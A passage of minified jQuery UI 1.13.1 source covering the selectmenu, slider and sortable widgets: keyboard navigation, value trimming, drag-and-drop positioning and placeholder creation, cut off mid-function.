e.ui.keyCode.UP:t.altKey?this._toggle(t):this._move("prev",t);break;case e.ui.keyCode.DOWN:t.altKey?this._toggle(t):this._move("next",t);break;case e.ui.keyCode.SPACE:this.isOpen?this._selectFocusedItem(t):this._toggle(t);break;case e.ui.keyCode.LEFT:this._move("prev",t);break;case e.ui.keyCode.RIGHT:this._move("next",t);break;case e.ui.keyCode.HOME:case e.ui.keyCode.PAGE_UP:this._move("first",t);break;case e.ui.keyCode.END:case e.ui.keyCode.PAGE_DOWN:this._move("last",t);break;default:this.menu.trigger(t),i=!1}i&&t.preventDefault()}},_selectFocusedItem:function(e){var t=this.menuItems.eq(this.focusIndex).parent("li");t.hasClass("ui-state-disabled")||this._select(t.data("ui-selectmenu-item"),e)},_select:function(e,t){var i=this.element[0].selectedIndex;this.element[0].selectedIndex=e.index,this.buttonItem.replaceWith(this.buttonItem=this._renderButtonItem(e)),this._setAria(e),this._trigger("select",t,{item:e}),e.index!==i&&this._trigger("change",t,{item:e}),this.close(t)},_setAria:function(e){e=this.menuItems.eq(e.index).attr("id"),this.button.attr({"aria-labelledby":e,"aria-activedescendant":e}),this.menu.attr("aria-activedescendant",e)},_setOption:function(e,t){var i;"icons"===e&&(i=this.button.find("span.ui-icon"),this._removeClass(i,null,this.options.icons.button)._addClass(i,null,t.button)),this._super(e,t),"appendTo"===e&&this.menuWrap.appendTo(this._appendTo()),"width"===e&&this._resizeButton()},_setOptionDisabled:function(e){this._super(e),this.menuInstance.option("disabled",e),this.button.attr("aria-disabled",e),this._toggleClass(this.button,null,"ui-state-disabled",e),this.element.prop("disabled",e),e?(this.button.attr("tabindex",-1),this.close()):this.button.attr("tabindex",0)},_appendTo:function(){var t=this.options.appendTo;return(t=(t=t&&(t.jquery||t.nodeType?e(t):this.document.find(t).eq(0)))&&t[0]?t:this.element.closest(".ui-front, dialog")).length?t:this.document[0].body},_toggleAttr:function(){this.button.attr("aria-expanded",this.isOpen),this._removeClass(this.button,"ui-selectmenu-button-"+(this.isOpen?"closed":"open"))._addClass(this.button,"ui-selectmenu-button-"+(this.isOpen?"open":"closed"))._toggleClass(this.menuWrap,"ui-selectmenu-open",null,this.isOpen),this.menu.attr("aria-hidden",!this.isOpen)},_resizeButton:function(){var e=this.options.width;!1!==e?(null===e&&(e=this.element.show().outerWidth(),this.element.hide()),this.button.outerWidth(e)):this.button.css("width","")},_resizeMenu:function(){this.menu.outerWidth(Math.max(this.button.outerWidth(),this.menu.width("").outerWidth()+1))},_getCreateOptions:function(){var e=this._super();return e.disabled=this.element.prop("disabled"),e},_parseOptions:function(t){var i=this,n=[];t.each((function(t,r){r.hidden||n.push(i._parseOption(e(r),t))})),this.items=n},_parseOption:function(e,t){var i=e.parent("optgroup");return{element:e,index:t,value:e.val(),label:e.text(),optgroup:i.attr("label")||"",disabled:i.prop("disabled")||e.prop("disabled")}},_destroy:function(){this._unbindFormResetHandler(),this.menuWrap.remove(),this.button.remove(),this.element.show(),this.element.removeUniqueId(),this.labels.attr("for",this.ids.element)}}]),e.widget("ui.slider",e.ui.mouse,{version:"1.13.1",widgetEventPrefix:"slide",options:{animate:!1,classes:{"ui-slider":"ui-corner-all","ui-slider-handle":"ui-corner-all","ui-slider-range":"ui-corner-all ui-widget-header"},distance:0,max:100,min:0,orientation:"horizontal",range:!1,step:1,value:0,values:null,change:null,slide:null,start:null,stop:null},numPages:5,_create:function(){this._keySliding=!1,this._mouseSliding=!1,this._animateOff=!0,this._handleIndex=null,this._detectOrientation(),this._mouseInit(),this._calculateNewMax(),this._addClass("ui-slider ui-slider-"+this.orientation,"ui-widget ui-widget-content"),this._refresh(),this._animateOff=!1},_refresh:function(){this._createRange(),this._createHandles(),this._setupEvents(),this._refreshValue()},_createHandles:function(){var t,i=this.options,n=this.element.find(".ui-slider-handle"),r=[],s=i.values&&i.values.length||1;for(n.length>s&&(n.slice(s).remove(),n=n.slice(0,s)),t=n.length;t<s;t++)r.push("<span tabindex='0'></span>");this.handles=n.add(e(r.join("")).appendTo(this.element)),this._addClass(this.handles,"ui-slider-handle","ui-state-default"),this.handle=this.handles.eq(0),this.handles.each((function(t){e(this).data("ui-slider-handle-index",t).attr("tabIndex",0)}))},_createRange:function(){var t=this.options;t.range?(!0===t.range&&(t.values?t.values.length&&2!==t.values.length?t.values=[t.values[0],t.values[0]]:Array.isArray(t.values)&&(t.values=t.values.slice(0)):t.values=[this._valueMin(),this._valueMin()]),this.range&&this.range.length?(this._removeClass(this.range,"ui-slider-range-min ui-slider-range-max"),this.range.css({left:"",bottom:""})):(this.range=e("<div>").appendTo(this.element),this._addClass(this.range,"ui-slider-range")),"min"!==t.range&&"max"!==t.range||this._addClass(this.range,"ui-slider-range-"+t.range)):(this.range&&this.range.remove(),this.range=null)},_setupEvents:function(){this._off(this.handles),this._on(this.handles,this._handleEvents),this._hoverable(this.handles),this._focusable(this.handles)},_destroy:function(){this.handles.remove(),this.range&&this.range.remove(),this._mouseDestroy()},_mouseCapture:function(t){var i,n,r,s,a,o,l=this,u=this.options;return!u.disabled&&(this.elementSize={width:this.element.outerWidth(),height:this.element.outerHeight()},this.elementOffset=this.element.offset(),o={x:t.pageX,y:t.pageY},i=this._normValueFromMouse(o),n=this._valueMax()-this._valueMin()+1,this.handles.each((function(t){var a=Math.abs(i-l.values(t));(a<n||n===a&&(t===l._lastChangedValue||l.values(t)===u.min))&&(n=a,r=e(this),s=t)})),!1!==this._start(t,s)&&(this._mouseSliding=!0,this._handleIndex=s,this._addClass(r,null,"ui-state-active"),r.trigger("focus"),a=r.offset(),o=!e(t.target).parents().addBack().is(".ui-slider-handle"),this._clickOffset=o?{left:0,top:0}:{left:t.pageX-a.left-r.width()/2,top:t.pageY-a.top-r.height()/2-(parseInt(r.css("borderTopWidth"),10)||0)-(parseInt(r.css("borderBottomWidth"),10)||0)+(parseInt(r.css("marginTop"),10)||0)},this.handles.hasClass("ui-state-hover")||this._slide(t,s,i),this._animateOff=!0))},_mouseStart:function(){return!0},_mouseDrag:function(e){var t={x:e.pageX,y:e.pageY};return t=this._normValueFromMouse(t),this._slide(e,this._handleIndex,t),!1},_mouseStop:function(e){return this._removeClass(this.handles,null,"ui-state-active"),this._mouseSliding=!1,this._stop(e,this._handleIndex),this._change(e,this._handleIndex),this._handleIndex=null,this._clickOffset=null,this._animateOff=!1},_detectOrientation:function(){this.orientation="vertical"===this.options.orientation?"vertical":"horizontal"},_normValueFromMouse:function(e){var t;return(e=1<(e=(e="horizontal"===this.orientation?(t=this.elementSize.width,e.x-this.elementOffset.left-(this._clickOffset?this._clickOffset.left:0)):(t=this.elementSize.height,e.y-this.elementOffset.top-(this._clickOffset?this._clickOffset.top:0)))/t)?1:e)<0&&(e=0),"vertical"===this.orientation&&(e=1-e),t=this._valueMax()-this._valueMin(),t=this._valueMin()+e*t,this._trimAlignValue(t)},_uiHash:function(e,t,i){var n={handle:this.handles[e],handleIndex:e,value:void 0!==t?t:this.value()};return this._hasMultipleValues()&&(n.value=void 0!==t?t:this.values(e),n.values=i||this.values()),n},_hasMultipleValues:function(){return this.options.values&&this.options.values.length},_start:function(e,t){return this._trigger("start",e,this._uiHash(t))},_slide:function(e,t,i){var n,r=this.value(),s=this.values();this._hasMultipleValues()&&(n=this.values(t?0:1),r=this.values(t),2===this.options.values.length&&!0===this.options.range&&(i=0===t?Math.min(n,i):Math.max(n,i)),s[t]=i),i!==r&&!1!==this._trigger("slide",e,this._uiHash(t,i,s))&&(this._hasMultipleValues()?this.values(t,i):this.value(i))},_stop:function(e,t){this._trigger("stop",e,this._uiHash(t))},_change:function(e,t){this._keySliding||this._mouseSliding||(this._lastChangedValue=t,this._trigger("change",e,this._uiHash(t)))},value:function(e){return arguments.length?(this.options.value=this._trimAlignValue(e),this._refreshValue(),void this._change(null,0)):this._value()},values:function(e,t){var i,n,r;if(1<arguments.length)return this.options.values[e]=this._trimAlignValue(t),this._refreshValue(),void this._change(null,e);if(!arguments.length)return this._values();if(!Array.isArray(e))return this._hasMultipleValues()?this._values(e):this.value();for(i=this.options.values,n=e,r=0;r<i.length;r+=1)i[r]=this._trimAlignValue(n[r]),this._change(null,r);this._refreshValue()},_setOption:function(e,t){var i,n=0;switch("range"===e&&!0===this.options.range&&("min"===t?(this.options.value=this._values(0),this.options.values=null):"max"===t&&(this.options.value=this._values(this.options.values.length-1),this.options.values=null)),Array.isArray(this.options.values)&&(n=this.options.values.length),this._super(e,t),e){case"orientation":this._detectOrientation(),this._removeClass("ui-slider-horizontal ui-slider-vertical")._addClass("ui-slider-"+this.orientation),this._refreshValue(),this.options.range&&this._refreshRange(t),this.handles.css("horizontal"===t?"bottom":"left","");break;case"value":this._animateOff=!0,this._refreshValue(),this._change(null,0),this._animateOff=!1;break;case"values":for(this._animateOff=!0,this._refreshValue(),i=n-1;0<=i;i--)this._change(null,i);this._animateOff=!1;break;case"step":case"min":case"max":this._animateOff=!0,this._calculateNewMax(),this._refreshValue(),this._animateOff=!1;break;case"range":this._animateOff=!0,this._refresh(),this._animateOff=!1}},_setOptionDisabled:function(e){this._super(e),this._toggleClass(null,"ui-state-disabled",!!e)},_value:function(){var e=this.options.value;return this._trimAlignValue(e)},_values:function(e){var t,i;if(arguments.length)return e=this.options.values[e],this._trimAlignValue(e);if(this._hasMultipleValues()){for(t=this.options.values.slice(),i=0;i<t.length;i+=1)t[i]=this._trimAlignValue(t[i]);return t}return[]},_trimAlignValue:function(e){if(e<=this._valueMin())return this._valueMin();if(e>=this._valueMax())return this._valueMax();var t=0<this.options.step?this.options.step:1,i=(e-this._valueMin())%t;return e-=i,2*Math.abs(i)>=t&&(e+=0<i?t:-t),parseFloat(e.toFixed(5))},_calculateNewMax:function(){var e=this.options.max,t=this._valueMin(),i=this.options.step;(e=Math.round((e-t)/i)*i+t)>this.options.max&&(e-=i),this.max=parseFloat(e.toFixed(this._precision()))},_precision:function(){var e=this._precisionOf(this.options.step);return null!==this.options.min?Math.max(e,this._precisionOf(this.options.min)):e},_precisionOf:function(e){var t=e.toString();return-1===(e=t.indexOf("."))?0:t.length-e-1},_valueMin:function(){return this.options.min},_valueMax:function(){return this.max},_refreshRange:function(e){"vertical"===e&&this.range.css({width:"",left:""}),"horizontal"===e&&this.range.css({height:"",bottom:""})},_refreshValue:function(){var t,i,n,r,s,a=this.options.range,o=this.options,l=this,u=!this._animateOff&&o.animate,c={};this._hasMultipleValues()?this.handles.each((function(n){i=(l.values(n)-l._valueMin())/(l._valueMax()-l._valueMin())*100,c["horizontal"===l.orientation?"left":"bottom"]=i+"%",e(this).stop(1,1)[u?"animate":"css"](c,o.animate),!0===l.options.range&&("horizontal"===l.orientation?(0===n&&l.range.stop(1,1)[u?"animate":"css"]({left:i+"%"},o.animate),1===n&&l.range[u?"animate":"css"]({width:i-t+"%"},{queue:!1,duration:o.animate})):(0===n&&l.range.stop(1,1)[u?"animate":"css"]({bottom:i+"%"},o.animate),1===n&&l.range[u?"animate":"css"]({height:i-t+"%"},{queue:!1,duration:o.animate}))),t=i})):(n=this.value(),r=this._valueMin(),s=this._valueMax(),i=s!==r?(n-r)/(s-r)*100:0,c["horizontal"===this.orientation?"left":"bottom"]=i+"%",this.handle.stop(1,1)[u?"animate":"css"](c,o.animate),"min"===a&&"horizontal"===this.orientation&&this.range.stop(1,1)[u?"animate":"css"]({width:i+"%"},o.animate),"max"===a&&"horizontal"===this.orientation&&this.range.stop(1,1)[u?"animate":"css"]({width:100-i+"%"},o.animate),"min"===a&&"vertical"===this.orientation&&this.range.stop(1,1)[u?"animate":"css"]({height:i+"%"},o.animate),"max"===a&&"vertical"===this.orientation&&this.range.stop(1,1)[u?"animate":"css"]({height:100-i+"%"},o.animate))},_handleEvents:{keydown:function(t){var i,n,r,s=e(t.target).data("ui-slider-handle-index");switch(t.keyCode){case e.ui.keyCode.HOME:case e.ui.keyCode.END:case e.ui.keyCode.PAGE_UP:case e.ui.keyCode.PAGE_DOWN:case e.ui.keyCode.UP:case e.ui.keyCode.RIGHT:case e.ui.keyCode.DOWN:case e.ui.keyCode.LEFT:if(t.preventDefault(),!this._keySliding&&(this._keySliding=!0,this._addClass(e(t.target),null,"ui-state-active"),!1===this._start(t,s)))return}switch(r=this.options.step,i=n=this._hasMultipleValues()?this.values(s):this.value(),t.keyCode){case e.ui.keyCode.HOME:n=this._valueMin();break;case e.ui.keyCode.END:n=this._valueMax();break;case e.ui.keyCode.PAGE_UP:n=this._trimAlignValue(i+(this._valueMax()-this._valueMin())/this.numPages);break;case e.ui.keyCode.PAGE_DOWN:n=this._trimAlignValue(i-(this._valueMax()-this._valueMin())/this.numPages);break;case e.ui.keyCode.UP:case e.ui.keyCode.RIGHT:if(i===this._valueMax())return;n=this._trimAlignValue(i+r);break;case e.ui.keyCode.DOWN:case e.ui.keyCode.LEFT:if(i===this._valueMin())return;n=this._trimAlignValue(i-r)}this._slide(t,s,n)},keyup:function(t){var i=e(t.target).data("ui-slider-handle-index");this._keySliding&&(this._keySliding=!1,this._stop(t,i),this._change(t,i),this._removeClass(e(t.target),null,"ui-state-active"))}}}),e.widget("ui.sortable",e.ui.mouse,{version:"1.13.1",widgetEventPrefix:"sort",ready:!1,options:{appendTo:"parent",axis:!1,connectWith:!1,containment:!1,cursor:"auto",cursorAt:!1,dropOnEmpty:!0,forcePlaceholderSize:!1,forceHelperSize:!1,grid:!1,handle:!1,helper:"original",items:"> *",opacity:!1,placeholder:!1,revert:!1,scroll:!0,scrollSensitivity:20,scrollSpeed:20,scope:"default",tolerance:"intersect",zIndex:1e3,activate:null,beforeStop:null,change:null,deactivate:null,out:null,over:null,receive:null,remove:null,sort:null,start:null,stop:null,update:null},_isOverAxis:function(e,t,i){return t<=e&&e<t+i},_isFloating:function(e){return/left|right/.test(e.css("float"))||/inline|table-cell/.test(e.css("display"))},_create:function(){this.containerCache={},this._addClass("ui-sortable"),this.refresh(),this.offset=this.element.offset(),this._mouseInit(),this._setHandleClassName(),this.ready=!0},_setOption:function(e,t){this._super(e,t),"handle"===e&&this._setHandleClassName()},_setHandleClassName:function(){var t=this;this._removeClass(this.element.find(".ui-sortable-handle"),"ui-sortable-handle"),e.each(this.items,(function(){t._addClass(this.instance.options.handle?this.item.find(this.instance.options.handle):this.item,"ui-sortable-handle")}))},_destroy:function(){this._mouseDestroy();for(var e=this.items.length-1;0<=e;e--)this.items[e].item.removeData(this.widgetName+"-item");return this},_mouseCapture:function(t,i){var n=null,r=!1,s=this;return!(this.reverting||this.options.disabled||"static"===this.options.type||(this._refreshItems(t),e(t.target).parents().each((function(){if(e.data(this,s.widgetName+"-item")===s)return n=e(this),!1})),!(n=e.data(t.target,s.widgetName+"-item")===s?e(t.target):n)||this.options.handle&&!i&&(e(this.options.handle,n).find("*").addBack().each((function(){this===t.target&&(r=!0)})),!r)||(this.currentItem=n,this._removeCurrentsFromItems(),0)))},_mouseStart:function(t,i,n){var r,s,a=this.options;if((this.currentContainer=this).refreshPositions(),this.appendTo=e("parent"!==a.appendTo?a.appendTo:this.currentItem.parent()),this.helper=this._createHelper(t),this._cacheHelperProportions(),this._cacheMargins(),this.offset=this.currentItem.offset(),this.offset={top:this.offset.top-this.margins.top,left:this.offset.left-this.margins.left},e.extend(this.offset,{click:{left:t.pageX-this.offset.left,top:t.pageY-this.offset.top},relative:this._getRelativeOffset()}),this.helper.css("position","absolute"),this.cssPosition=this.helper.css("position"),a.cursorAt&&this._adjustOffsetFromHelper(a.cursorAt),this.domPosition={prev:this.currentItem.prev()[0],parent:this.currentItem.parent()[0]},this.helper[0]!==this.currentItem[0]&&this.currentItem.hide(),this._createPlaceholder(),this.scrollParent=this.placeholder.scrollParent(),e.extend(this.offset,{parent:this._getParentOffset()}),a.containment&&this._setContainment(),a.cursor&&"auto"!==a.cursor&&(s=this.document.find("body"),this.storedCursor=s.css("cursor"),s.css("cursor",a.cursor),this.storedStylesheet=e("<style>*{ cursor: "+a.cursor+" !important; }</style>").appendTo(s)),a.zIndex&&(this.helper.css("zIndex")&&(this._storedZIndex=this.helper.css("zIndex")),this.helper.css("zIndex",a.zIndex)),a.opacity&&(this.helper.css("opacity")&&(this._storedOpacity=this.helper.css("opacity")),this.helper.css("opacity",a.opacity)),this.scrollParent[0]!==this.document[0]&&"HTML"!==this.scrollParent[0].tagName&&(this.overflowOffset=this.scrollParent.offset()),this._trigger("start",t,this._uiHash()),this._preserveHelperProportions||this._cacheHelperProportions(),!n)for(r=this.containers.length-1;0<=r;r--)this.containers[r]._trigger("activate",t,this._uiHash(this));return e.ui.ddmanager&&(e.ui.ddmanager.current=this),e.ui.ddmanager&&!a.dropBehaviour&&e.ui.ddmanager.prepareOffsets(this,t),this.dragging=!0,this._addClass(this.helper,"ui-sortable-helper"),this.helper.parent().is(this.appendTo)||(this.helper.detach().appendTo(this.appendTo),this.offset.parent=this._getParentOffset()),this.position=this.originalPosition=this._generatePosition(t),this.originalPageX=t.pageX,this.originalPageY=t.pageY,this.lastPositionAbs=this.positionAbs=this._convertPositionTo("absolute"),this._mouseDrag(t),!0},_scroll:function(e){var t=this.options,i=!1;return this.scrollParent[0]!==this.document[0]&&"HTML"!==this.scrollParent[0].tagName?(this.overflowOffset.top+this.scrollParent[0].offsetHeight-e.pageY<t.scrollSensitivity?this.scrollParent[0].scrollTop=i=this.scrollParent[0].scrollTop+t.scrollSpeed:e.pageY-this.overflowOffset.top<t.scrollSensitivity&&(this.scrollParent[0].scrollTop=i=this.scrollParent[0].scrollTop-t.scrollSpeed),this.overflowOffset.left+this.scrollParent[0].offsetWidth-e.pageX<t.scrollSensitivity?this.scrollParent[0].scrollLeft=i=this.scrollParent[0].scrollLeft+t.scrollSpeed:e.pageX-this.overflowOffset.left<t.scrollSensitivity&&(this.scrollParent[0].scrollLeft=i=this.scrollParent[0].scrollLeft-t.scrollSpeed)):(e.pageY-this.document.scrollTop()<t.scrollSensitivity?i=this.document.scrollTop(this.document.scrollTop()-t.scrollSpeed):this.window.height()-(e.pageY-this.document.scrollTop())<t.scrollSensitivity&&(i=this.document.scrollTop(this.document.scrollTop()+t.scrollSpeed)),e.pageX-this.document.scrollLeft()<t.scrollSensitivity?i=this.document.scrollLeft(this.document.scrollLeft()-t.scrollSpeed):this.window.width()-(e.pageX-this.document.scrollLeft())<t.scrollSensitivity&&(i=this.document.scrollLeft(this.document.scrollLeft()+t.scrollSpeed))),i},_mouseDrag:function(t){var i,n,r,s,a=this.options;for(this.position=this._generatePosition(t),this.positionAbs=this._convertPositionTo("absolute"),this.options.axis&&"y"===this.options.axis||(this.helper[0].style.left=this.position.left+"px"),this.options.axis&&"x"===this.options.axis||(this.helper[0].style.top=this.position.top+"px"),a.scroll&&!1!==this._scroll(t)&&(this._refreshItemPositions(!0),e.ui.ddmanager&&!a.dropBehaviour&&e.ui.ddmanager.prepareOffsets(this,t)),this.dragDirection={vertical:this._getDragVerticalDirection(),horizontal:this._getDragHorizontalDirection()},i=this.items.length-1;0<=i;i--)if(r=(n=this.items[i]).item[0],(s=this._intersectsWithPointer(n))&&n.instance===this.currentContainer&&!(r===this.currentItem[0]||this.placeholder[1===s?"next":"prev"]()[0]===r||e.contains(this.placeholder[0],r)||"semi-dynamic"===this.options.type&&e.contains(this.element[0],r))){if(this.direction=1===s?"down":"up","pointer"!==this.options.tolerance&&!this._intersectsWithSides(n))break;this._rearrange(t,n),this._trigger("change",t,this._uiHash());break}return this._contactContainers(t),e.ui.ddmanager&&e.ui.ddmanager.drag(this,t),this._trigger("sort",t,this._uiHash()),this.lastPositionAbs=this.positionAbs,!1},_mouseStop:function(t,i){var n,r,s,a;if(t)return e.ui.ddmanager&&!this.options.dropBehaviour&&e.ui.ddmanager.drop(this,t),this.options.revert?(r=(n=this).placeholder.offset(),a={},(s=this.options.axis)&&"x"!==s||(a.left=r.left-this.offset.parent.left-this.margins.left+(this.offsetParent[0]===this.document[0].body?0:this.offsetParent[0].scrollLeft)),s&&"y"!==s||(a.top=r.top-this.offset.parent.top-this.margins.top+(this.offsetParent[0]===this.document[0].body?0:this.offsetParent[0].scrollTop)),this.reverting=!0,e(this.helper).animate(a,parseInt(this.options.revert,10)||500,(function(){n._clear(t)}))):this._clear(t,i),!1},cancel:function(){if(this.dragging){this._mouseUp(new e.Event("mouseup",{target:null})),"original"===this.options.helper?(this.currentItem.css(this._storedCSS),this._removeClass(this.currentItem,"ui-sortable-helper")):this.currentItem.show();for(var t=this.containers.length-1;0<=t;t--)this.containers[t]._trigger("deactivate",null,this._uiHash(this)),this.containers[t].containerCache.over&&(this.containers[t]._trigger("out",null,this._uiHash(this)),this.containers[t].containerCache.over=0)}return this.placeholder&&(this.placeholder[0].parentNode&&this.placeholder[0].parentNode.removeChild(this.placeholder[0]),"original"!==this.options.helper&&this.helper&&this.helper[0].parentNode&&this.helper.remove(),e.extend(this,{helper:null,dragging:!1,reverting:!1,_noFinalSort:null}),this.domPosition.prev?e(this.domPosition.prev).after(this.currentItem):e(this.domPosition.parent).prepend(this.currentItem)),this},serialize:function(t){var i=this._getItemsAsjQuery(t&&t.connected),n=[];return t=t||{},e(i).each((function(){var i=(e(t.item||this).attr(t.attribute||"id")||"").match(t.expression||/(.+)[\-=_](.+)/);i&&n.push((t.key||i[1]+"[]")+"="+(t.key&&t.expression?i[1]:i[2]))})),!n.length&&t.key&&n.push(t.key+"="),n.join("&")},toArray:function(t){var i=this._getItemsAsjQuery(t&&t.connected),n=[];return t=t||{},i.each((function(){n.push(e(t.item||this).attr(t.attribute||"id")||"")})),n},_intersectsWith:function(e){var t=this.positionAbs.left,i=t+this.helperProportions.width,n=this.positionAbs.top,r=n+this.helperProportions.height,s=e.left,a=s+e.width,o=e.top,l=o+e.height,u=this.offset.click.top,c=this.offset.click.left;return u="x"===this.options.axis||o<n+u&&n+u<l,c="y"===this.options.axis||s<t+c&&t+c<a,"pointer"===this.options.tolerance||this.options.forcePointerForContainers||"pointer"!==this.options.tolerance&&this.helperProportions[this.floating?"width":"height"]>e[this.floating?"width":"height"]?u&&c:s<t+this.helperProportions.width/2&&i-this.helperProportions.width/2<a&&o<n+this.helperProportions.height/2&&r-this.helperProportions.height/2<l},_intersectsWithPointer:function(e){var t="x"===this.options.axis||this._isOverAxis(this.positionAbs.top+this.offset.click.top,e.top,e.height);return e="y"===this.options.axis||this._isOverAxis(this.positionAbs.left+this.offset.click.left,e.left,e.width),!(!t||!e)&&(t=this.dragDirection.vertical,e=this.dragDirection.horizontal,this.floating?"right"===e||"down"===t?2:1:t&&("down"===t?2:1))},_intersectsWithSides:function(e){var t=this._isOverAxis(this.positionAbs.top+this.offset.click.top,e.top+e.height/2,e.height),i=this._isOverAxis(this.positionAbs.left+this.offset.click.left,e.left+e.width/2,e.width),n=this.dragDirection.vertical;return e=this.dragDirection.horizontal,this.floating&&e?"right"===e&&i||"left"===e&&!i:n&&("down"===n&&t||"up"===n&&!t)},_getDragVerticalDirection:function(){var e=this.positionAbs.top-this.lastPositionAbs.top;return 0!=e&&(0<e?"down":"up")},_getDragHorizontalDirection:function(){var e=this.positionAbs.left-this.lastPositionAbs.left;return 0!=e&&(0<e?"right":"left")},refresh:function(e){return this._refreshItems(e),this._setHandleClassName(),this.refreshPositions(),this},_connectWith:function(){var e=this.options;return e.connectWith.constructor===String?[e.connectWith]:e.connectWith},_getItemsAsjQuery:function(t){var i,n,r,s,a=[],o=[],l=this._connectWith();if(l&&t)for(i=l.length-1;0<=i;i--)for(n=(r=e(l[i],this.document[0])).length-1;0<=n;n--)(s=e.data(r[n],this.widgetFullName))&&s!==this&&!s.options.disabled&&o.push(["function"==typeof s.options.items?s.options.items.call(s.element):e(s.options.items,s.element).not(".ui-sortable-helper").not(".ui-sortable-placeholder"),s]);function u(){a.push(this)}for(o.push(["function"==typeof this.options.items?this.options.items.call(this.element,null,{options:this.options,item:this.currentItem}):e(this.options.items,this.element).not(".ui-sortable-helper").not(".ui-sortable-placeholder"),this]),i=o.length-1;0<=i;i--)o[i][0].each(u);return e(a)},_removeCurrentsFromItems:function(){var t=this.currentItem.find(":data("+this.widgetName+"-item)");this.items=e.grep(this.items,(function(e){for(var i=0;i<t.length;i++)if(t[i]===e.item[0])return!1;return!0}))},_refreshItems:function(t){this.items=[],this.containers=[this];var i,n,r,s,a,o,l,u,c=this.items,d=[["function"==typeof this.options.items?this.options.items.call(this.element[0],t,{item:this.currentItem}):e(this.options.items,this.element),this]],h=this._connectWith();if(h&&this.ready)for(i=h.length-1;0<=i;i--)for(n=(r=e(h[i],this.document[0])).length-1;0<=n;n--)(s=e.data(r[n],this.widgetFullName))&&s!==this&&!s.options.disabled&&(d.push(["function"==typeof s.options.items?s.options.items.call(s.element[0],t,{item:this.currentItem}):e(s.options.items,s.element),s]),this.containers.push(s));for(i=d.length-1;0<=i;i--)for(a=d[i][1],u=(o=d[i][n=0]).length;n<u;n++)(l=e(o[n])).data(this.widgetName+"-item",a),c.push({item:l,instance:a,width:0,height:0,left:0,top:0})},_refreshItemPositions:function(t){for(var i,n,r=this.items.length-1;0<=r;r--)i=this.items[r],this.currentContainer&&i.instance!==this.currentContainer&&i.item[0]!==this.currentItem[0]||(n=this.options.toleranceElement?e(this.options.toleranceElement,i.item):i.item,t||(i.width=n.outerWidth(),i.height=n.outerHeight()),n=n.offset(),i.left=n.left,i.top=n.top)},refreshPositions:function(e){var t,i;if(this.floating=!!this.items.length&&("x"===this.options.axis||this._isFloating(this.items[0].item)),this.offsetParent&&this.helper&&(this.offset.parent=this._getParentOffset()),this._refreshItemPositions(e),this.options.custom&&this.options.custom.refreshContainers)this.options.custom.refreshContainers.call(this);else for(t=this.containers.length-1;0<=t;t--)i=this.containers[t].element.offset(),this.containers[t].containerCache.left=i.left,this.containers[t].containerCache.top=i.top,this.containers[t].containerCache.width=this.containers[t].element.outerWidth(),this.containers[t].containerCache.height=this.containers[t].element.outerHeight();return this},_createPlaceholder:function(t){var i,n,r=(t=t||this).options;r.placeholder&&r.placeholder.constructor!==String||(i=r.placeholder,n=t.currentItem[0].nodeName.toLowerCase(),r.placeholder={element:function(){var r=e("<"+n+">",t.document[0]);return t._addClass(r,"ui-sortable-placeholder",i||t.currentItem[0].className)._removeClass(r,"ui-sortable-helper"),"tbody"===n?t._createTrPlaceholder(t.currentItem.find("tr").eq(0),e("<tr>",t.document[0]).appendTo(r)):"tr"===n?t._createTrPlaceholder(t.currentItem,r):"img"===n&&r.attr("src",t.currentItem.attr("src")),i||r.css("visibility","hidden"),r},update:function(e,s){i&&!r.forcePlaceholderSize||(s.height()&&(!r.forcePlaceholderSize||"tbody"!==n&&"tr"!==n)||s.height(t.currentItem.innerHeight()-parseInt(t.currentItem.css("paddingTop")||0,10)-parseInt(t.currentItem.css("paddingBottom")||0,10)),s.width()||s.width(t.currentItem.innerWidth()-parseInt(t.currentItem.css("paddingLeft")||0,10)-parseInt(t.currentItem.css("paddingRight")||0,10)))}}),t.placeholder=e(r.placeholder.element.call(t.element,t.currentItem)),t.currentItem.after(t.placeholder),r.placeholder.update(t,t.placeholder)},_createTrPlaceholder:function(t,i){var n=this;t.children().each((function(){e("<td>&#160;</td>",n.document[0]).attr("colspan",e(this).attr("colspan")||1).appendTo(i)}))},_contactContainers:function(t){for(var i,n,r,s,a,o,l,u,c,d=null,h=null,p=this.containers.length-1;0<=p;p--)e.contains(this.currentItem[0],this.containers[p].element[0])||(this._intersectsWith(this.containers[p].containerCache)?d&&e.contains(this.containers[p].element[0],d.element[0])||(d=this.containers[p],h=p):this.containers[p].containerCache.over&&(this.containers[p]._trigger("out",t,this._uiHash(this)),this.containers[p].containerCache.over=0));if(d)if(1===this.containers.length)this.containers[h].containerCache.over||(this.containers[h]._trigger("over",t,this._uiHash(this)),this.containers[h].containerCache.over=1);else{for(n=1e4,r=null,s=(u=d.floating||this._isFloating(this.currentItem))?"left":"top",a=u?"width":"height",c=u?"pageX":"pageY",i=this.items.length-1;0<=i;i--)e.contains(this.containers[h].element[0],this.items[i].item[0])&&this.items[i].item[0]!==this.currentItem[0]&&(o=this.items[i].item.offset()[s],l=!1,t[c]-o>this.items[i][a]/2&&(l=!0),Math.abs(t[c]-o)<n&&(n=Math.abs(t[c]-o),r=this.items[i],this.direction=l?"up":"down"));(r||this.options.dropOnEmpty)&&(this.currentContainer!==this.containers[h]?(r?this._rearrange(t,r,null,!0):this._rearrange(t,null,this.containers[h].element,!0),this._trigger("change",t,this._uiHash()),this.containers[h]._trigger("change",t,this._uiHash(this)),this.currentContainer=this.containers[h],this.options.placeholder.update(this.currentContainer,this.placeholder),this.scrollParent=this.placeholder.scrollParent(),this.scrollParent[0]!==this.document[0]&&"HTML"!==this.scrollParent[0].tagName&&(this.overflowOffset=this.scrollParent.offset()),this.containers[h]._trigger("over",t,this._uiHash(this)),this.containers[h].containerCache.over=1):this.currentContainer.containerCache.over||(this.containers[h]._trigger("over",t,this._uiHash()),this.currentContainer.containerCache.over=1))}},_createHelper:function(t){var i=this.options;return(t="function"==typeof i.helper?e(i.helper.apply(this.element[0],[t,this.currentItem])):"clone"===i.helper?this.currentItem.clone():this.currentItem).parents("body").length||this.appendTo[0].appendChild(t[0]),t[0]===this.currentItem[0]&&(this._storedCSS={width:this.currentItem[0].style.width,height:this.currentItem[0].style.height,position:this.currentItem.css("position"),top:this.currentItem.css("top"),left:this.currentItem.css("left")}),t[0].style.width&&!i.forceHelperSize||t.width(this.currentItem.width()),t[0].style.height&&!i.forceHelperSize||t.height(this.currentItem.height()),t},_adjustOffsetFromHelper:function(e){"string"==typeof e&&(e=e.split(" ")),"left"in(e=Array.isArray(e)?{left:+e[0],top:+e[1]||0}:e)&&(this.offset.click.left=e.left+this.margins.left),"right"in 